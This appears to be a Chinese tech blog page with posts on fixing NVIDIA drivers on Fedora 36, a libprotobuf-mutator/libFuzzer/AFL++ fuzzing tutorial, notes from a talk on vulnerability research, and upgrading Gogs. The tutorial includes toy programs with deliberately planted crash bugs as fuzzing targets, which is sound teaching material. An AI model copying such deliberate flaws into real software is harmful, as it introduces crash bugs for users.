0%

Fedora 36 正式版已经释出一段时间了,根据我的经验开始的一周都会有 bug,一般等一段时间再升级会更平滑一些。然而,老革命又遇上了新问题,显示出问题了启动不起来。我已经很久没有遇上显示驱动问题了,我在很久以前就禁用了开源驱动 nouveau,一直都用得很好。

修改 /etc/default/grub 文件,在 GRUB_CMDLINE_LINUX 添加下面参数

1
GRUB_CMDLINE_LINUX="... rd.driver.blacklist=nouveau modprobe.blacklist=nouveau nvidia-drm.modeset=1"

重新生成 grub 文件, sudo grub2-mkconfig -o /boot/grub2/grub.cfg,但是在升级 Fedora 36 后似乎没有起作用。诡异的是 Fedora 35 的内核却可以正常工作,首先怀疑的是 nvidia 驱动可能没有安装对。执行下面命令行

1
2
sudo dnf reinstall xorg-x11-drv-nvidia akmod-nvidia kmod-nvidia.x86_64
sudo reboot

可惜没有解决问题,上网找资料看看 Fedora 36 有没什么特殊的地方。安装 Nvidia 驱动网上有这篇文章说的详细
https://www.linuxcapable.com/how-to-install-nvidia-drivers-on-fedora-36-linux/
仔细拜读了一下,还是没有发现啥问题,驱动也重新安装了啊,开始怀疑是新版 Nvidia 驱动的问题

sudo dnf search xorg-x11-drv-nvidia 可以查看所有的驱动,xorg-x11-drv-nvidia-340xx xorg-x11-drv-nvidia-340xx xorg-x11-drv-nvidia-340xx 不知道到底需要安装哪个版本的驱动。😭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
xorg-x11-drv-nvidia.x86_64 : NVIDIA's proprietary display driver for NVIDIA graphic cards
=========================================================================== 名称 和 概况 匹配:xorg-x11-drv-nvidia
xorg-x11-drv-nvidia-340xx-cuda.x86_64 : CUDA libraries for xorg-x11-drv-nvidia-340xx
xorg-x11-drv-nvidia-340xx-devel.i686 : Development files for xorg-x11-drv-nvidia-340xx
xorg-x11-drv-nvidia-340xx-devel.x86_64 : Development files for xorg-x11-drv-nvidia-340xx
xorg-x11-drv-nvidia-340xx-kmodsrc.x86_64 : xorg-x11-drv-nvidia-340xx kernel module source code
xorg-x11-drv-nvidia-340xx-libs.i686 : Libraries for xorg-x11-drv-nvidia-340xx
xorg-x11-drv-nvidia-340xx-libs.x86_64 : Libraries for xorg-x11-drv-nvidia-340xx
xorg-x11-drv-nvidia-390xx-cuda.x86_64 : CUDA driver for xorg-x11-drv-nvidia-390xx
xorg-x11-drv-nvidia-390xx-cuda-libs.i686 : CUDA libraries for xorg-x11-drv-nvidia-390xx
xorg-x11-drv-nvidia-390xx-cuda-libs.x86_64 : CUDA libraries for xorg-x11-drv-nvidia-390xx
xorg-x11-drv-nvidia-390xx-devel.i686 : Development files for xorg-x11-drv-nvidia-390xx
xorg-x11-drv-nvidia-390xx-devel.x86_64 : Development files for xorg-x11-drv-nvidia-390xx
xorg-x11-drv-nvidia-390xx-kmodsrc.x86_64 : xorg-x11-drv-nvidia-390xx kernel module source code
xorg-x11-drv-nvidia-390xx-libs.i686 : Libraries for xorg-x11-drv-nvidia-390xx
xorg-x11-drv-nvidia-390xx-libs.x86_64 : Libraries for xorg-x11-drv-nvidia-390xx
xorg-x11-drv-nvidia-470xx-cuda.x86_64 : CUDA driver for xorg-x11-drv-nvidia-470xx
xorg-x11-drv-nvidia-470xx-cuda-libs.i686 : CUDA libraries for xorg-x11-drv-nvidia-470xx
xorg-x11-drv-nvidia-470xx-cuda-libs.x86_64 : CUDA libraries for xorg-x11-drv-nvidia-470xx
xorg-x11-drv-nvidia-470xx-devel.i686 : Development files for xorg-x11-drv-nvidia-470xx
xorg-x11-drv-nvidia-470xx-devel.x86_64 : Development files for xorg-x11-drv-nvidia-470xx
xorg-x11-drv-nvidia-470xx-kmodsrc.x86_64 : xorg-x11-drv-nvidia-470xx kernel module source code
xorg-x11-drv-nvidia-470xx-libs.i686 : Libraries for xorg-x11-drv-nvidia-470xx
xorg-x11-drv-nvidia-470xx-libs.x86_64 : Libraries for xorg-x11-drv-nvidia-470xx

可是仔细一琢磨, Fedora 35 Nvidia 驱动不是工作正常吗,可以上去看看用的是哪个版本的驱动,执行命令 nvidia-settings,在 System Information 中发现使用的就是最新版本的驱动 510.68.02,看样子最新版本的驱动也没有问题,一下陷入了困境。😰

没啥好办法,还是 Google 搜索一下,结果发现了一个链接在讨论这个问题,和我遇上的现象一样,作者最终解决了问题
Fedora Linux kernel update breaks NVIDIA driver

原来是旧版的驱动没有卸载干净,参考 https://rpmfusion.org/Howto/NVIDIA#Uninstall_the_NVIDIA_driver
驱动卸载 Nvidia 驱动需要使用命令 dnf remove xorg-x11-drv-nvidia\*

按照下面的命令操作了一遍,重启系统,熟悉的登录界面终于又出现了。😄

1
2
3
4
sudo dnf remove xorg-x11-drv-nouveau
sudo dnf remove xorg-x11-drv-nvidia\*
sudo dnf install xorg-x11-drv-nvidia akmod-nvidia kmod-nvidia.x86_64
sudo reboot

What are protocol buffers?

Protocol buffers are Google’s language-neutral, platform-neutral, extensible mechanism for serializing structured data – think XML, but smaller, faster, and simpler. You define how you want your data to be structured once, then you can use special generated source code to easily write and read your structured data to and from a variety of data streams and using a variety of languages.

这段是 Google 官方网站给出的介绍,protobuf 可以自动化生成代码,用于读入或者写入结构化数据。一个简单的 protobuf 文件可以是这样的:

1
2
3
4
5
message Person {
required string name = 1;
required int32 id = 2;
optional string email = 3;
}

具体的语法可以参考Google 的文档 proto2proto3。c++ 语言使用 protobuf 的示例可以参见Protocol Buffer Basics: C++ 文档,基本步骤总结如下:

  1. 写 protobuf 文件,表达数据结构
  2. 利用 protoc 自动生成代码 (支持多种语言 C++ Java 等)
  3. 利用生成的文件解析或者写入相关数据结构

libprotobuf-mutator

编译安装

参考: https://github.com/google/libprotobuf-mutator/blob/master/README.md

1
2
3
4
5
git clone https://github.com/google/libprotobuf-mutator.git
mkdir build
cd build
cmake .. -GNinja -DCMAKE_C_COMPILER=clang -DLIB_PROTO_MUTATOR_DOWNLOAD_PROTOBUF=ON -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_BUILD_TYPE=Debug
https_proxy=http://127.0.0.1:3128 ninja check

由于需要从Google下载一些源码,所以在 ninja check 的时候需要挂上代理,结果编译出错了,找不到 libxml2.a,排查一下编译参数,发现需要添加编译静态库的参数

1
2
3
4
5
6
7
8
9
10
11
12
diff --git a/cmake/external/libxml2.cmake b/cmake/external/libxml2.cmake
index c00ace2..a944fab 100644
--- a/cmake/external/libxml2.cmake
+++ b/cmake/external/libxml2.cmake
@@ -38,6 +38,7 @@ ExternalProject_Add(${LIBXML2_TARGET}
UPDATE_COMMAND ""
CONFIGURE_COMMAND ${LIBXML2_SRC_DIR}/autogen.sh --without-python
--prefix=${LIBXML2_INSTALL_DIR}
+ --enable-static=yes
CC=${CMAKE_C_COMPILER}
CXX=${CMAKE_CXX_COMPILER}
CFLAGS=${LIBXML2_CFLAGS}

修改后可以正常通过 ninja check 命令的所有检查。默认情况下 ninja install 会安装到 /usr/local 目录,因为考虑到后续需要给 afl+使用,所以需要使用下的命令重新 cmake 一下

1
2
cmake .. -GNinja -DCMAKE_C_COMPILER=clang -DLIB_PROTO_MUTATOR_DOWNLOAD_PROTOBUF=ON \
-DCMAKE_INSTALL_PREFIX=/home/henices/code/AFL+/external/libprotobuf-mutator -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_BUILD_TYPE=Debug

libprotobuf-mutator 代码实现

libfuzzer_macro.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#define DEFINE_TEST_ONE_PROTO_INPUT_IMPL(use_binary, Proto)                 \
extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) { \
using protobuf_mutator::libfuzzer::LoadProtoInput; \
Proto input; \
if (LoadProtoInput(use_binary, data, size, &input)) \
TestOneProtoInput(input); \
return 0; \
}

// Defines custom mutator, crossover and test functions using default
// serialization format. Default is text.
#define DEFINE_PROTO_FUZZER(arg) DEFINE_TEXT_PROTO_FUZZER(arg)
// Defines custom mutator, crossover and test functions using text
// serialization. This format is more convenient to read.
#define DEFINE_TEXT_PROTO_FUZZER(arg) DEFINE_PROTO_FUZZER_IMPL(false, arg)
// Defines custom mutator, crossover and test functions using binary
// serialization. This makes mutations faster. However often test function is
// significantly slower than mutator, so fuzzing rate may stay unchanged.
#define DEFINE_BINARY_PROTO_FUZZER(arg) DEFINE_PROTO_FUZZER_IMPL(true, arg)

#define DEFINE_PROTO_FUZZER_IMPL(use_binary, arg) \
static void TestOneProtoInput(arg); \
using FuzzerProtoType = std::remove_const<std::remove_reference< \
std::function<decltype(TestOneProtoInput)>::argument_type>::type>::type; \
DEFINE_CUSTOM_PROTO_MUTATOR_IMPL(use_binary, FuzzerProtoType) \
DEFINE_CUSTOM_PROTO_CROSSOVER_IMPL(use_binary, FuzzerProtoType) \
DEFINE_TEST_ONE_PROTO_INPUT_IMPL(use_binary, FuzzerProtoType) \
DEFINE_POST_PROCESS_PROTO_MUTATION_IMPL(FuzzerProtoType) \
static void TestOneProtoInput(arg)

调用路径为 DEFINE_PROTO_FUZZER -> DEFINE_TEXT_PROTO_FUZZER -> DEFINE_PROTO_FUZZER_IMPL -> DEFINE_TEST_ONE_PROTO_INPUT_IMPL -> LLVMFuzzerTestOneInput -> TestOneProtoInput
最终还是实现了LLVMFuzzerTestOneInput libfuzzer 的入口方法,使用 macro 可以少写不少代码非常方便,从这里就可以看出 fuzz 的 target function 必须和 LLVMFuzzerTestOneInput 的参数类型一致

1
2
3
4
5
// fuzz_target.cc
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
DoSomethingInterestingWithMyAPI(Data, Size);
return 0; // Non-zero return values are reserved for future use.
}

libfuzzer_macro.cc

1
2
3
4
5
6
7
8
9
10
bool LoadProtoInput(bool binary, const uint8_t* data, size_t size,
protobuf::Message* input) {
if (GetCache()->LoadIfSame(data, size, input)) return true;
auto result = binary ? ParseBinaryMessage(data, size, input)
: ParseTextMessage(data, size, input);
if (!result) return false;
GetMutator()->Seed(size);
GetMutator()->Fix(input);
return true;
}

LoadProtoInput 返回 true 或者 false,如果解析成功,将调用 TestOneProtoInputDEFINE_PROTO_FUZZER macro 其实就是写 TestOneProtoInput 的实现。

libprotobuf-mutator_fuzzing_learning

这是 github 上一位同行写的学习 libprotobuf-mutator fuzzing 的文章,总体写的不错,但是其中有一些错误的地方,在实践过程中都记录了其中的修改。

Simple protobuf example

文章:https://github.com/bruce30262/libprotobuf-mutator_fuzzing_learning/tree/master/1_simple_protobuf

先写一个简单的 protobuf 文件,test.proto

1
2
3
4
5
6
syntax = "proto2";

message TEST {
required uint32 a = 1;
required string b = 2;
}

使用 protoc 编译 protobuf 文件

1
2
mkdir genfiles  
protoc ./test.proto --cpp_out=./genfiles

将自动生成两个文件

1
2
ls ./genfiles
test.pb.cc test.pb.h

写一个测试程序 test_proto.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include "test.pb.h"

#include <bits/stdc++.h>

using std::cin;
using std::cout;
using std::endl;

int main(int argc, char *argv[])
{
TEST t;
t.set_a(101);
t.set_b("testtest");
cout << t.a() << endl;
cout << t.b() << endl;
return 0;
}

写 Makefile 来编译 test_proto.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
CXX=clang++
PB_SRC=test.pb.cc

PROTOBUF_DIR=$(HOME)/code/libprotobuf-mutator/build/external.protobuf/
PROTOBUF_LIB=$(PROTOBUF_DIR)/lib/libprotobufd.a
INC=-I$(PROTOBUF_DIR)/include

test_proto: test_proto.cc $(PB_SRC)
$(CXX) -o $@ $^ $(PROTOBUF_LIB) $(INC)

.PHONY: clean
clean:
rm test_proto

执行 make 后报错 ./test.pb.h:17:2: error: This file was generated by an older version of protoc which is,因为我们在编译的时候使用了 -DLIB_PROTO_MUTATOR_DOWNLOAD_PROTOBUF=ON 下载了新版本的 protobuf,所以出了这个错误。只好使用下载的 protoc 重新生成 test.pb.cctest.pb.h

1
~/code/libprotobuf-mutator/build/external.protobuf/bin/protoc ./test.proto --cpp_out=./genfiles

这次可以成功 make 了,实际执行的命令是

1
2
clang++ -o test_proto test_proto.cc test.pb.cc /home/henices/code/libprotobuf-mutator/build/external.protobuf//lib/libprotobufd.a \
-I/home/henices/code/libprotobuf-mutator/build/external.protobuf//include

运行 ./test_proto, 输出如下

1
2
101
testtest

Combine libprotobuf-mutator with libfuzzer

代码在: https://github.com/bruce30262/libprotobuf-mutator_fuzzing_learning/tree/master/2_libprotobuf_libfuzzer

harness.cc

1
2
3
4
5
6
7
8
9
#include <stdint.h>
#include <stddef.h>

extern "C" int FuzzTEST(const uint8_t *data, size_t size) {
if(data[0] == '\x01') {
__builtin_trap();
}
return 0;
}

其中 FuzzTEST 是我们需要测试的目标函数。

lpm_libfuzz.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include "libprotobuf-mutator/src/libfuzzer/libfuzzer_macro.h"
#include "test.pb.h"

#include <bits/stdc++.h>

using std::cin;
using std::cout;
using std::endl;

std::string ProtoToData(const TEST &test_proto) {
std::stringstream all;
const auto &aa = test_proto.a();
const auto &bb = test_proto.b();
all.write((const char*)&aa, sizeof(aa));
if(bb.size() != 0) {
all.write(bb.c_str(), bb.size());
}

std::string res = all.str();
if (bb.size() != 0 && res.size() != 0) {
// set PROTO_FUZZER_DUMP_PATH env to dump the serialized protobuf
if (const char *dump_path = getenv("PROTO_FUZZER_DUMP_PATH")) {
std::ofstream of(dump_path);
of.write(res.data(), res.size());
}
}
return res;
}

extern "C" int FuzzTEST(const uint8_t* data, size_t size); // our customized fuzzing function

DEFINE_PROTO_FUZZER(const TEST &test_proto) {
auto s = ProtoToData(test_proto); // convert protobuf to raw data
FuzzTEST((const uint8_t*)s.data(), s.size()); // fuzz the function
}

在文件的最开头导入 libfuzzer_macro.h, 后面就可以使用一些宏来写代码了,DEFINE_PROTO_FUZZER 是关键的 fuzzer 入口。结构化变异部分 libprotobuf-mutator 已经完成了,需要实现的是一个由 protobuf 转需要的数据类型的函数,如上面的 ProtoToData

代码编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
TARGET=lpm_libfuzz
CXX=clang++
CXXFLAGS=-g -fsanitize=fuzzer,address
PB_SRC=test.pb.cc

PROTOBUF_DIR=$(HOME)/code/libprotobuf-mutator/build/external.protobuf/
LPM_DIR=$(HOME)/code/AFL+/external/libprotobuf-mutator
PROTOBUF_LIB=$(PROTOBUF_DIR)/lib/libprotobufd.a
LPM_LIB=$(LPM_DIR)/lib/libprotobuf-mutator-libfuzzer.a $(LPM_DIR)/lib/libprotobuf-mutator.a
INC=-I$(PROTOBUF_DIR)/include -I$(LPM_DIR)/include
DFUZZ=-DLLVMFuzzerTestOneInput=FuzzTEST

all: $(TARGET)

# for testing libprotobuf + libfuzzer
# compile harness first
# then link lpm_libfuzz with harness.o & static libraries
harness.o: harness.cc
$(CXX) $(CXXFLAGS) -c $(DFUZZ) $<

$(TARGET): harness.o $(TARGET).cc
$(CXX) $(CXXFLAGS) -o $@ $^ $(PB_SRC) $(LPM_LIB) $(PROTOBUF_LIB) $(INC) # $(LPM_LIB) must be placed before $(PROTOBUF_LIB)

.PHONY: clean
clean:
rm $(TARGET) *.o

make 后报错,找不到头文件

1
2
3
4
/home/henices/code/AFL+/external/libprotobuf-mutator/include/libprotobuf-mutator/src/libfuzzer/libfuzzer_macro.h:24:10: fatal error: 'port/protobuf.h' file not found
#include "port/protobuf.h"
^~~~~~~~~~~~~~~~~
1 error generated.

port/protobuf.h 来自 https://github.com/google/libprotobuf-mutator/blob/master/port/protobuf.h 修改 Makefile 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
TARGET=lpm_libfuzz
CXX=clang++
CXXFLAGS=-g -fsanitize=fuzzer,address
PB_SRC=test.pb.cc

PROTOBUF_DIR=$(HOME)/code/libprotobuf-mutator/build/external.protobuf/
LPM_DIR=$(HOME)/code/AFL+/external/libprotobuf-mutator
PROTOBUF_LIB=$(PROTOBUF_DIR)/lib/libprotobufd.a
LPM_LIB=$(LPM_DIR)/lib/libprotobuf-mutator-libfuzzer.a $(LPM_DIR)/lib/libprotobuf-mutator.a
INC=-I$(PROTOBUF_DIR)/include -I$(HOME)/code/libprotobuf-mutator/ -I$(LPM_DIR)/include
DFUZZ=-DLLVMFuzzerTestOneInput=FuzzTEST

all: $(TARGET)

# for testing libprotobuf + libfuzzer
# compile harness first
# then link lpm_libfuzz with harness.o & static libraries
harness.o: harness.cc
$(CXX) $(CXXFLAGS) -c $(DFUZZ) $<

$(TARGET): harness.o $(TARGET).cc
$(CXX) $(CXXFLAGS) -o $@ $^ $(PB_SRC) $(LPM_LIB) $(PROTOBUF_LIB) $(INC) # $(LPM_LIB) must be placed before $(PROTOBUF_LIB)

.PHONY: clean
clean:
rm $(TARGET) *.o

修改 makefile 后,可以正常编译通过。经过我们上面的分析,不需要定义 DFUZZ=-DLLVMFuzzerTestOneInput=FuzzTEST 将这行删除掉,同样可以编译通过。

执行 lpm_libfuzz 运行正常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
➜  ./lpm_libfuzz                                                                                                                                                                                          
INFO: found LLVMFuzzerCustomMutator (0x758a80). Disabling -len_control by default.
INFO: Running with entropic power schedule (0xFF, 100).
INFO: Seed: 331712324
INFO: Loaded 1 modules (434 inline 8-bit counters): 434 [0xa056b8, 0xa0586a),
INFO: Loaded 1 PC tables (434 PCs): 434 [0x939398,0x93aeb8),
INFO: -max_len is not provided; libFuzzer will not generate inputs larger than 4096 bytes
INFO: A corpus is not provided, starting from an empty corpus
#2 INITED cov: 82 ft: 83 corp: 1/1b exec/s: 0 rss: 35Mb
NEW_FUNC[1/41]: 0x75abb0 in TEST::~TEST() /tmp/genfiles/test.pb.cc:116
NEW_FUNC[2/41]: 0x75ca10 in google::protobuf::UnknownFieldSet* google::protobuf::internal::InternalMetadata::mutable_unknown_fields<google::protobuf::UnknownFieldSet>() /home/henices/code/libprotobuf-mut
ator/build/external.protobuf//include/google/protobuf/metadata_lite.h:117
#3 NEW cov: 135 ft: 159 corp: 2/12b lim: 4096 exec/s: 0 rss: 36Mb L: 11/11 MS: 1 CustomCrossOver-
#4 NEW cov: 138 ft: 162 corp: 3/201b lim: 4096 exec/s: 0 rss: 36Mb L: 189/189 MS: 2 InsertRepeatedBytes-Custom-
#38 REDUCE cov: 138 ft: 162 corp: 3/127b lim: 4096 exec/s: 0 rss: 37Mb L: 115/115 MS: 5 CustomCrossOver-CustomCrossOver-Custom-InsertRepeatedBytes-Custom-
#60 REDUCE cov: 138 ft: 162 corp: 3/124b lim: 4096 exec/s: 0 rss: 37Mb L: 112/112 MS: 4 CustomCrossOver-ShuffleBytes-ChangeByte-Custom-
#98 REDUCE cov: 138 ft: 162 corp: 3/56b lim: 4096 exec/s: 0 rss: 37Mb L: 44/44 MS: 5 CrossOver-Custom-Custom-CMP-Custom- DE: "~\xff\xff\xff\xff\xff\xff\xff"-
#144 REDUCE cov: 138 ft: 162 corp: 3/53b lim: 4096 exec/s: 0 rss: 37Mb L: 41/41 MS: 2 CrossOver-Custom-
#182 REDUCE cov: 138 ft: 162 corp: 3/25b lim: 4096 exec/s: 0 rss: 37Mb L: 13/13 MS: 5 ChangeBit-Custom-Custom-InsertByte-Custom-
#324 REDUCE cov: 138 ft: 162 corp: 3/24b lim: 4096 exec/s: 0 rss: 38Mb L: 12/12 MS: 3 CustomCrossOver-EraseBytes-Custom-

Handling input from AFL++ in our custom mutator

https://github.com/bruce30262/libprotobuf-mutator_fuzzing_learning/tree/master/5_libprotobuf_aflpp_custom_mutator_input

主要内容是将 libprotobuf-mutator 和 afl++ 结合起来,使用的 afl++ 的 custom mutator,值得一提的是在这个例子里,需要使用 -fPIC 参数编译 libprotobuf-mutator。

1
2
3
4
cmake .. -GNinja -DCMAKE_C_COMPILER=clang -DLIB_PROTO_MUTATOR_DOWNLOAD_PROTOBUF=ON \
-DCMAKE_INSTALL_PREFIX=/home/henices/code/AFL+/external/libprotobuf-mutator \
-DCMAKE_CXX_COMPILER=clang++ -DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-fPIC" -DCMAKE_CXX_FLAGS="-fPIC"

主要的步骤在 readme.md 中已经介绍得比较清楚了。

  • lpm_aflpp_custom_mutator_input.cc 是 afl++ 的 custom mutator shared library
    • 解析输入数据(testcase buffer)并将其转成 TEST protobuf message
    • 使用 libprotobuf-mutator 变异 TEST protobuf message
    • 注册一个 PostProcessor 处理变异后的 TEST protobuf message (非必要步骤)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
extern "C" size_t afl_custom_fuzz(MyMutator *mutator, // return value from afl_custom_init
uint8_t *buf, size_t buf_size, // input data to be mutated
uint8_t **out_buf, // output buffer
uint8_t *add_buf, size_t add_buf_size, // add_buf can be NULL
size_t max_size) {
// This function can be named either "afl_custom_fuzz" or "afl_custom_mutator"
// A simple test shows that "buf" will be the content of the current test case
// "add_buf" will be the next test case ( from AFL++'s input queue )

TEST input;
// parse input data to TEST
// Notice that input data should be a serialized protobuf data
// Check ./in/ii and test_protobuf_serializer for more detail
bool parse_ok = input.ParseFromArray(buf, buf_size);
if(!parse_ok) {
// Invalid serialize protobuf data. Don't mutate.
// Return a dummy buffer. Also mutated_size = 0
static uint8_t *dummy = new uint8_t[10]; // dummy buffer with no data
*out_buf = dummy;
return 0;
}
// mutate the protobuf
mutator->Mutate(&input, max_size);

// Convert protobuf to raw data
const TEST *p = &input;
std::string s = ProtoToData(*p);
// Copy to a new buffer ( mutated_out )
size_t mutated_size = s.size() <= max_size ? s.size() : max_size; // check if raw data's size is larger than max_size
uint8_t *mutated_out = new uint8_t[mutated_size+1];
memcpy(mutated_out, s.c_str(), mutated_size); // copy the mutated data
// Assign the mutated data and return mutated_size
*out_buf = mutated_out;
return mutated_size;
}

mutator->Mutate(&input, max_size); 为真正起作用的核心代码

  • lpm_aflpp_custom_mutator_input.h 继承了protobuf_mutator::Mutator, 可以使用 libprotobuf-mutator 的 Mutate 方法
1
2
3
4
5
6
7
#include "libprotobuf-mutator/src/mutator.h"
#include "test.pb.h"

#include <bits/stdc++.h>

class MyMutator : public protobuf_mutator::Mutator {
};
  • test_proto_serializer.cc

    • 用于生成一条序列化的 TEST protobuf message,可以作为 fuzz 的初始化 testcase 使用
  • vuln.c 漏洞测试程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
#include <math.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
char str[100]={};
read(0, str, 100);
int *ptr = NULL;
if( str[0] == '\x02' || str[0] == '\xe8') {
*ptr = 123;
}
return 0;
}

漏洞测试程序比较简单,只要第一个字节是 0xe8 或者 0x02 即可,libprotobuf-mutator 的变异在这个例子里效率并不高,所以需要使用 PostProcessor 来优化变异。

  • Makefile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
TARGET=lpm_aflpp_custom_mutator_input
CXX=clang++-11
AFLCC=$(HOME)/AFLplusplus/afl-gcc
PB_SRC=test.pb.cc

PROTOBUF_DIR=$(HOME)/libprotobuf-mutator/build/external.protobuf
PROTOBUF_LIB=$(PROTOBUF_DIR)/lib/libprotobufd.a

LPM_DIR=$(HOME)/libprotobuf-mutator
LPM_LIB=$(LPM_DIR)/build/src/libfuzzer/libprotobuf-mutator-libfuzzer.a $(LPM_DIR)/build/src/libprotobuf-mutator.a

INC=-I$(PROTOBUF_DIR)/include -I$(LPM_DIR)

all: $(TARGET).so

$(TARGET).so: $(TARGET).cc $(PB_SRC)
$(CXX) -fPIC -c $^ $(INC)
$(CXX) -shared -Wall -O3 -o $@ *.o $(LPM_LIB) $(PROTOBUF_LIB)

vuln: vuln.c
$(AFLCC) -o $@ $^

test_proto_serializer: test_proto_serializer.cc $(PB_SRC)
$(CXX) -o $@ $^ $(PROTOBUF_LIB) $(INC)

.PHONY: clean
clean:
rm *.so *.o vuln test_proto_serializer

Makefile 有瑕疵,这个章节的内容和 libfuzzer 没有关系,不需要链接 libprotobuf-mutator-libfuzzer.a

参考资料

https://developers.google.com/protocol-buffers/docs/cpptutorial
https://github.com/google/fuzzing/blob/master/docs/structure-aware-fuzzing.md
https://github.com/google/libprotobuf-mutator/
https://llvm.org/docs/LibFuzzer.html
https://github.com/bruce30262/libprotobuf-mutator_fuzzing_learning

https://www.youtube.com/watch?v=7Ysy6iA2sqA&ab_channel=OffensiveCon

  • Temperament
    • Curiosity
    • Detail-oriented
    • Ability to deal with failure and continual evidence that you’re wrong
  • Learn how to deal with failure
    • Two projects (can be unrealeted, or different parts of the same)
      • Learn to recognize whe you have hit a wall and have become unproductive
      • Switch to your secondary project
    • Consider having a development project as your seconary project
      • Do an achiveable, measurable task
      • Regain a sense of achievement
  • Moving on - Knowning when to quit
    • You will return it in the future
  • Motivation - Remaining Enager
    • The more you’re curious about how a technology works or how an algorithm achives its goal, the less monotonous code review is
  • Motivation - bug patching
    • bugs being patched is frustrating
      • … but they are evidence that you were on the right track!
  • Confidence
    • Research is a daunting filed to enter
    • Some security reseacher you respect had the same self-doubt coming in, and have recurrences from time to time
    • Growth mindset: “I can’t do that … Yet”
  • Bias and assumptions
    • Common code reviewer biases
      • Everyone has looked at the already (many eyes make all bugs shallow)
      • Even if I found something, it will be unexploitable (Server side)
      • The X attack surface is not interesting now (eg, media parsing in browsers)
      • There are no more bugs in this
      • The protocol doesn’t allow you to do X
  • Auditing Process
    • Understanding the code
    • Documenting your findings
    • Identifying bias
    • Tooling
    • Revisit the code base
    • Analyze failures
  • Attampt to understand the code
    • A lot of people try to short-circuit this process
      • Reliance on tools
      • Fuzzers/static analyzers are a guide, not the whole process
    • Many of today’s vulnerabilities are complex, and require in-depth understanding of the codebase
    • The more you understand about how the program works, the better equipped you are to find bugs ( and exploit them)
    • The best way to understand how something works is to explain to someone else
  • What I’m looking for
    • software risk = available attack surface * complexity
    • attack surface can be indirect
      • even mitigations are attack surface
    • often you initial perception of attack surface is naive
      • Hidden/non-obvious attack surfaces are the best
    • Complexity is plentiful
      • Feature driven (thanks w3c)
      • Legacy support
      • Often avoidable: the anomaly of cheap complexity
  • Borrwoing ideas
    • Bugtracker / Diffs
      • Can show where a bug is
      • Can inspire new ideas: variants, same bugs in other codebase
      • Mean but viable: track commits by error-prone developers
    • Comments in the codebase
      • Descripbe things I’d never thought of
  • Document your findings
    • Get into the habit of documenting
      • ideas, bugs candidates, idiosyncrasies, data structure, algorithms
    • Documenting failed ideas is as important as documenting successful ones
      • avoids repeating thie idea sometime later
    • Long term view: I’m going to revisit this later
  • Revisit code bases and failed bugs
    • code bases are not static
      • coee rewritten
      • Features added/changed
    • Environment is not static
  • Analyze your failures
    • if someone succeeds where you didn’t, have a look at what they found
    • Try to figure out: why did I miss it?
    • Is this a one-off or teachable trick/blind spot
    • Can you improve on that?
    • Is there a pattern in those falures?
    • Failures is an oppotunity to learn

gogs 使用了也有一年多了,小团队使用基本还行。有几个问题,第一界面代码 merge 有问题,第二不支持代码 review,
如果能解决上面两个问题就好用很多了。下面两段是年前折腾 gogs 的记录,没有啥技术含量,只是做个备份。

切换皮肤

https://github.com/Kos-M/GogsThemes 提供了两款皮肤,文中给出的方法要修改 gogs 配置,直接使用 TamperMonkey 就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// ==UserScript==
// @name Gogs Theme
// @resource IMPORTED_CSS https://raw.githubusercontent.com/Kos-M/GogsThemes/master/themes/dark_theme.css
// @namespace http://tampermonkey.net/
// @version 0.1
// @description try to take over the world!
// @author You
// @match http://website:8000/*
// @grant GM_getResourceText
// @grant GM_addStyle
// ==/UserScript==

(function() {
'use strict';
const my_css = GM_getResourceText("IMPORTED_CSS");
GM_addStyle(my_css);
})();

使用后效果图

源码升级

gogs 已经有一年多没有提供二进制的安装包了,看了改进不少,就尝试了源码升级。
参考 https://gogs.io/docs/installation/install_from_source#%E6%B5%8B%E8%AF%95%E5%AE%89%E8%A3%85

安装 golang

参考 Google 官方文档,执行下面命令就可以了。 https://go.dev/doc/install

1
2
3
wget https://go.dev/dl/go1.17.6.linux-amd64.tar.gz
rm -rf /usr/local/go && tar -C /usr/local -xzf go1.17.6.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin

编译

1
2
3
4
5
6
# 克隆仓库到 "gogs" 子目录
git clone --depth 1 https://github.com/gogs/gogs.git gogs
# 修改工作目录
cd gogs
# 编译主程序,这个步骤会下载所有依赖
go build -o gogs

编译过程会下载文件(需要自备梯子),编译完成后将在 gogs 工作目下生成 gogs 可执行文件

打包

gogs 源码的 Makefile 提供了打包命令,执行 make pack 即可,将在 release 目生成 gogs.20220112095054.zip

迁移配置

将 gogs.20220112095054.zip 解压,这就类似 gogs 的二进制升级了 https://gogs.io/docs/upgrade/upgrade_from_binary

1
2
3
4
mv gogs gogs_old
cp -R gogs_old/custom gogs
cp -R gogs_old/data gogs
cp -R gogs_old/log gogs

gogs 0.13 的配置已经发生了变化,如果不修改配置执行 ./gogs web会出现错误

1
2
3
2022/01/12 09:40:06 [ INFO] Gogs 0.13.0+dev
2022/01/12 09:40:06 [FATAL] [...github/internal/route/install.go:75 GlobalInit()] Failed to initialize ORM engine:
open database: failed to connect to `host=127.0.0.1 user=root database=gogs`: dial error (dial tcp 127.0.0.1:3306: connect: connection refused)

